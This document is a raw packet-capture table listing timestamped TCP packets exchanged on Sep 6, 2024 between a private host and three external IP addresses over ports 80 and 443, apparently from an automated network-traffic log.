Sep 6, 2024 08:17:07.172846079 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.172852039 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.172864914 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.172888041 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.172888041 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.172939062 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.172944069 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.172955036 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.172960043 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.172971964 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.172985077 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.173012018 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.173017979 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.173022985 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.173042059 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.173115969 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.173120975 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.173134089 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.173140049 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.173146009 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.173151016 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.173177958 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.173181057 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.173212051 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.173212051 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.173235893 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.173240900 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.173250914 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.173258066 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.173269033 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.173280954 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.173294067 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.173299074 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.173305035 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.173310995 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.173321962 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.173387051 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.173393011 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.173398018 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.173412085 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.173437119 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.173443079 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.173443079 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.173451900 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.173491001 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.173496008 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.173512936 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.173544884 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.173876047 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.173881054 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.173907995 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.173937082 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.173943043 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.173954964 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.173971891 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.173974037 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.174000978 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.174009085 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.174015045 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.174037933 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.174346924 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.174355030 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.174397945 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.174403906 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.174416065 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.174421072 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.174438000 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.174444914 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.174449921 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.174458027 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.174458027 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.174536943 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.174542904 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.174555063 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.174559116 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.174573898 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.174591064 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.174597025 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.174619913 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.174664021 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.174669981 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.174675941 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.174680948 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.174695015 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.174709082 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.174716949 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.174727917 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.174727917 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.174730062 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.174763918 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.174837112 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.175167084 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.175172091 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.175185919 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.175201893 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.175287962 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.175292969 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.175303936 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.175309896 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.175318956 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.175322056 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.175329924 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.175333023 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.175335884 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.175363064 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.175369978 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.175375938 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.175376892 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.175384045 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.175400972 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.175403118 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.175434113 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.175448895 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.175507069 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.175515890 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.175534010 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.175539970 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.175544977 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.175545931 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.175553083 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.175558090 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.175581932 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.175595045 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.175654888 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.178402901 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.182285070 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.182358027 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.182363033 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.182374001 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.182379961 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.182385921 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.182450056 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.182450056 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.182503939 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.182509899 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.182521105 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.182611942 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.182617903 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.182621002 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.182626963 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.182636976 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.182641983 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.182643890 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.182652950 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.182667017 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.182673931 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.182674885 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.182674885 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.182682991 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.182687998 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.182693958 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.182698965 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.182701111 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.182710886 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.182748079 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.182748079 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.182800055 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.182806015 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.182816982 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.182836056 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.182884932 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.182885885 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.182898998 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.182904959 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.182914972 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.182920933 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.182926893 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.182938099 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.182944059 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.182965994 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.183001041 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.183001041 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.183022976 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.183027029 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.183037043 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.183043003 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.183048010 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.183054924 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.183109999 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.183137894 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.183144093 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.183156013 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.183161020 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.183166981 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.183172941 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.183178902 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.183182001 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.183182001 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.183208942 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.183212042 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.183212042 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.183216095 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.183244944 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.184534073 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.184580088 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.184607029 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.184612036 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.184617996 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.184623003 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.184628010 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.184633970 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.184640884 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.184690952 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.184690952 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.184705019 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.184710979 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.184767008 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.184772968 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.184783936 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.184791088 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.184802055 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.184834957 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.184834957 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.184861898 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.184868097 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.184880018 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.184885979 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.184890985 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.184919119 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.184945107 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.184951067 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.184962988 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.184967041 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.184988976 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.185022116 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.185022116 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.185292959 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.185381889 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.185385942 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.185396910 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.185401917 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.185409069 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.185415983 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.185420990 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.185533047 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.186463118 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.187258959 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.187316895 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.187321901 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.187388897 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.187392950 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.187405109 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.187411070 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.187424898 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.187464952 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.187464952 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.187474966 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.187482119 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.188755989 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.188790083 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.188811064 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.188822031 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.188837051 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.188862085 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.190078974 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.190092087 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.190104008 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.190109968 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.190120935 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.190125942 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.190131903 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.190140963 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.190152884 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.190170050 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.190176010 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.190205097 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.190211058 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.190216064 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.190217018 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.190237999 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.190246105 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.190252066 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.190280914 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.190280914 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.190306902 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.190313101 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.190376043 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.190382004 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.190393925 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.190459967 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.190471888 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.190500975 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.190967083 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.190972090 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.191019058 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.191045046 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.191051006 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.191067934 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.191072941 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.191099882 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.191099882 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.191220999 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.191226959 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.191323996 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.192384005 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.192389965 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.192395926 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.192431927 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.192445040 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.192445040 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.192459106 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.192464113 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.192475080 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.192485094 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.192491055 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.192509890 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.194263935 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.196980000 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.196995974 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.198313951 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.198319912 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.206617117 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.213373899 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.213387966 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.213397026 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.213450909 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.213458061 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.213469028 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.213474035 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.213490963 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.213494062 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.213526011 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.214337111 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.241808891 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.241938114 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.241942883 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.241952896 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.241959095 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.241964102 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.241971016 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.241976023 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.242105961 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.242106915 CEST	49737	80	192.168.2.4	147.45.44.104
